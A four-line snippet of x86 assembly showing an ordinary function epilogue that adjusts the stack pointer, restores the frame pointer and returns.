add esp, 0xc
mov esp, ebp
pop ebp
ret